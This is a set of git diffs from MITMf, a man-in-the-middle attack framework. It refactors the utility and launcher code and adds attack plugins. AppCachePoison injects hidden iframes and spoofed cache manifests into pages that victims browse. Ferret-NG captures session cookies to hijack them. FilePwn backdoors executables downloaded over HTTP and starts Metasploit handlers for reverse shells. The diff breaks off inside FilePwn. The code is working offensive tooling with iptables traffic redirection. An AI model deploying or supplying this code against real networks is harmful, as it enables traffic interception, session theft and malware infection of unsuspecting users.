log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) log.debug("SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
url = 'http://' + host + path url = 'http://' + host + path
@ -139,7 +141,7 @@ class URLMonitor:
self.faviconSpoofing = faviconSpoofing self.faviconSpoofing = faviconSpoofing
def updateHstsConfig(self): def updateHstsConfig(self):
for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems(): for k,v in ConfigWatcher().config['SSLstrip+'].iteritems():
self.sustitucion[k] = v self.sustitucion[k] = v
self.real[v] = k self.real[v] = k
@ -156,14 +158,14 @@ class URLMonitor:
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self, host): def URLgetRealHost(self, host):
log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) log.debug("Parsing host: {}".format(host))
self.updateHstsConfig() self.updateHstsConfig()
if self.real.has_key(host): if self.real.has_key(host):
log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) log.debug("Found host in list: {}".format(self.real[host]))
return self.real[host] return self.real[host]
else: else:
log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) log.debug("Host not in list: {}".format(host))
return host return host

@ -1,6 +1,3 @@
#! /usr/bin/env python2.7
# -*- coding: utf-8 -*-
# Copyright (c) 2014-2016 Marcello Salvati # Copyright (c) 2014-2016 Marcello Salvati
# #
# This program is free software; you can redistribute it and/or # This program is free software; you can redistribute it and/or
@ -20,150 +17,72 @@
# #
import os import os
import random
import logging import logging
import re import re
import sys import sys
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr from scapy.all import get_if_addr, get_if_hwaddr
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Utils", formatter)
def shutdown(message=None): def shutdown(message=None):
for plugin in ProxyPlugins.getInstance().plist: for plugin in ProxyPlugins().plugin_list:
plugin.on_shutdown() plugin.on_shutdown()
sys.exit(message) sys.exit(message)
class SystemConfig: def set_ip_forwarding(value):
log.debug("Setting ip forwarding to {}".format(value))
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
@staticmethod def get_ip(interface):
def setIpForwarding(value): try:
log.debug("[Utils] Setting ip forwarding to {}".format(value)) ip_address = get_if_addr(interface)
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: if (ip_address == "0.0.0.0") or (ip_address is None):
file.write(str(value)) shutdown("Interface {} does not have an assigned IP address".format(interface))
file.close()
return ip_address
except Exception as e:
shutdown("Error retrieving IP address from {}: {}".format(interface, e))
def get_mac(interface):
try:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
class iptables:
dns = False
http = False
smb = False
__shared_state = {}
@staticmethod
def getIP(interface):
try:
ip_address = get_if_addr(interface)
if (ip_address == "0.0.0.0") or (ip_address is None):
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
return ip_address
except Exception as e:
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
@staticmethod
def getMAC(interface):
try:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
class IpTables:
_instance = None
def __init__(self): def __init__(self):
self.dns = False self.__dict__ = self.__shared_state
self.http = False
self.smb = False
@staticmethod
def getInstance():
if IpTables._instance == None:
IpTables._instance = IpTables()
return IpTables._instance
def Flush(self): def Flush(self):
log.debug("[Utils] Flushing iptables") log.debug("Flushing iptables")
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
self.dns = False self.dns = False
self.http = False self.http = False
def HTTP(self, http_redir_port): def HTTP(self, http_redir_port):
log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
self.http = True self.http = True
def DNS(self, dns_redir_port): def DNS(self, dns_redir_port):
log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) log.debug("Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
self.dns = True self.dns = True
def SMB(self, smb_redir_port): def SMB(self, smb_redir_port):
log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
self.smb = True self.smb = True
class Banners:
banner1 = """
__ __ ___ .--. __ __ ___
| |/ `.' `. |__| | |/ `.' `. _.._
| .-. .-. '.--. .| | .-. .-. ' .' .._|
| | | | | || | .' |_ | | | | | | | '
| | | | | || | .' || | | | | | __| |__
| | | | | || |'--. .-'| | | | | ||__ __|
| | | | | || | | | | | | | | | | |
|__| |__| |__||__| | | |__| |__| |__| | |
| '.' | |
| / | |
`'-' |_|
"""
banner2= """
"""
banner3 = """
"""
banner4 = """
___ ___ ___
/\ \ /\ \ /\__\
|::\ \ ___ ___ |::\ \ /:/ _/_
|:|:\ \ /\__\ /\__\ |:|:\ \ /:/ /\__\
__|:|\:\ \ /:/__/ /:/ / __|:|\:\ \ /:/ /:/ /
/::::|_\:\__\ /::\ \ /:/__/ /::::|_\:\__\ /:/_/:/ /
\:\~~\ \/__/ \/\:\ \__ /::\ \ \:\~~\ \/__/ \:\/:/ /
\:\ \ ~~\:\/\__\ /:/\:\ \ \:\ \ \::/__/
\:\ \ \::/ / \/__\:\ \ \:\ \ \:\ \
\:\__\ /:/ / \:\__\ \:\__\ \:\__\
\/__/ \/__/ \/__/ \/__/ \/__/
"""
banner5 = """
"""
def get_banner(self):
banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5]
return random.choice(banners)

@ -1 +1 @@
Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d Subproject commit 7a19089bd9620e736a56ecde145206cec261cc67

@ -19,6 +19,10 @@
# #
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
import argparse import argparse
import sys import sys
import os import os
@ -26,28 +30,29 @@ import threading
from twisted.web import http from twisted.web import http
from twisted.internet import reactor from twisted.internet import reactor
from core.utils import Banners, SystemConfig, shutdown
from core.logger import logger from core.logger import logger
from core.banners import get_banner
from plugins import * from plugins import *
print Banners().get_banner() print get_banner()
mitmf_version = '0.9.8'
mitmf_codename = 'The Dark Side'
if os.geteuid() != 0: if os.geteuid() != 0:
sys.exit("[-] The derp is strong with this one") sys.exit("[-] The derp is strong with this one")
parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename),
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
epilog="Use wisely, young Padawan.")
#add MITMf options #add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#Add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
slogopts = sgroup.add_mutually_exclusive_group()
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
@ -62,14 +67,13 @@ if len(sys.argv) == 1:
options = parser.parse_args() options = parser.parse_args()
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
options.ip = SystemConfig.getIP(options.interface)
options.mac = SystemConfig.getMAC(options.interface)
#Set the log level #Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()] logger().log_level = logging.__dict__[options.log_level.upper()]
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger('mitmf', formatter) #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface)
from core.sslstrip.CookieCleaner import CookieCleaner from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
@ -85,12 +89,14 @@ strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory) reactor.listenTCP(options.listen_port, strippingFactory)
#All our options should be loaded now, start initializing the plugins #All our options should be loaded now, start initializing the plugins
print "[*] MITMf v0.9.8 - 'The Dark Side'" print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
for plugin in plugins: for plugin in plugins:
#load only the plugins that have been called at the command line #load only the plugins that have been called at the command line
if vars(options)[plugin.optname] is True: if vars(options)[plugin.optname] is True:
ProxyPlugins().add_plugin(plugin)
print "|_ {} v{}".format(plugin.name, plugin.version) print "|_ {} v{}".format(plugin.name, plugin.version)
if plugin.tree_info: if plugin.tree_info:
for line in xrange(0, len(plugin.tree_info)): for line in xrange(0, len(plugin.tree_info)):
@ -102,7 +108,6 @@ for plugin in plugins:
for line in xrange(0, len(plugin.tree_info)): for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop()) print "| |_ {}".format(plugin.tree_info.pop())
ProxyPlugins.getInstance().addPlugin(plugin)
plugin.reactor(strippingFactory) plugin.reactor(strippingFactory)
plugin.setup_logger() plugin.setup_logger()
plugin.start_config_watch() plugin.start_config_watch()
@ -116,20 +121,20 @@ from core.netcreds.NetCreds import NetCreds
NetCreds().start(options.interface) NetCreds().start(options.interface)
print "|_ Net-Creds v{} online".format(NetCreds.version) print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start the HTTP Server
from core.servers.http.HTTPserver import HTTPserver
HTTPserver().start()
print "|_ HTTP server online"
#Start DNSChef #Start DNSChef
from core.servers.dns.DNSchef import DNSChef from core.servers.dns.DNSchef import DNSChef
DNSChef.getInstance().start() DNSChef().start()
print "|_ DNSChef v{} online".format(DNSChef.version) print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server
#from core.servers.http.HTTPServer import HTTPServer
#HTTPServer.getInstance().start()
#print "|_ HTTP server online"
#Start the SMB server #Start the SMB server
from core.servers.smb.SMBserver import SMBserver from core.servers.smb.SMBserver import SMBserver
SMBserver.getInstance().start() SMBserver().start()
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version)
#start the reactor #start the reactor
reactor.run() reactor.run()

197
plugins/appcachepoison.py Normal file

@ -0,0 +1,197 @@
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import re
import os.path
import time
import sys
from datetime import date
from plugins.plugin import Plugin
class AppCachePlugin(Plugin):
name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
from core.sslstrip.URLMonitor import URLMonitor
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
def response(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo)
p = self.getTemplatePrefix(s)
if element == 'tamper':
self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.app_config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
return data
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
self.clientlog.debug("Adding AppCache mass poison for URL {}, id {}".format(url, browser_id), extra=request.clientInfo)
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.app_config:
if isinstance(self.app_config[i], dict):
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.app_config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.app_config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.app_config:
if isinstance(self.app_config[i], dict): #section
section = self.app_config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())

@ -0,0 +1,45 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import json
from pprint import pformat
from plugins.plugin import Plugin
from plugins.inject import Inject
class BrowserProfiler(Inject, Plugin):
name = "BrowserProfiler"
optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients"
version = "0.3"
def initialize(self, options):
Inject.initialize(self, options)
self.js_file = "./core/javascript/plugindetect.js"
self.output = {} # so other plugins can access the results
def request(self, request):
if (request.command == 'POST') and ('clientprfl' in request.uri):
request.handle_post_output = True
self.output = json.loads(request.postData)
pretty_output = pformat(self.output)
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
def options(self, options):
pass

100
plugins/ferretng.py Normal file

@ -0,0 +1,100 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import json
import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
class FerretNG(Plugin):
name = "Ferret-NG"
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
def initialize(self, options):
self.options = options
self.ferret_port = options.ferret_port
self.cookie_file = None
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
from core.utils import shutdown
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = json.dumps(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def on_config_change(self):
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def request(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
entry['host'] = host
entry['cookie'] = cookie
return
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def reactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def options(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
def on_shutdown(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
self.log.info("Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

632
plugins/filepwn.py Normal file

@ -0,0 +1,632 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#--------------------------------------------------------------------------------#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux. (and Arch Linux)
import sys
import os
import pefile
import zipfile
import logging
import shutil
import random
import string
import threading
import multiprocessing
import tarfile
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from plugins.plugin import Plugin
from tempfile import mkstemp
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
tree_info = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.patched = multiprocessing.Queue()
from core.msfrpc import Msf
self.msf = Msf()
#FOR FUTURE USE
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
t = threading.Thread(name='setup_msf', target=self.setup_msf)
t.setDaemon(True)
t.start()
def setup_msf(self):
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"])
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
def on_config_change(self):
self.initialize(self.options)
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def bytes_have_format(self, bytess, formatt):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
return True
return False
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
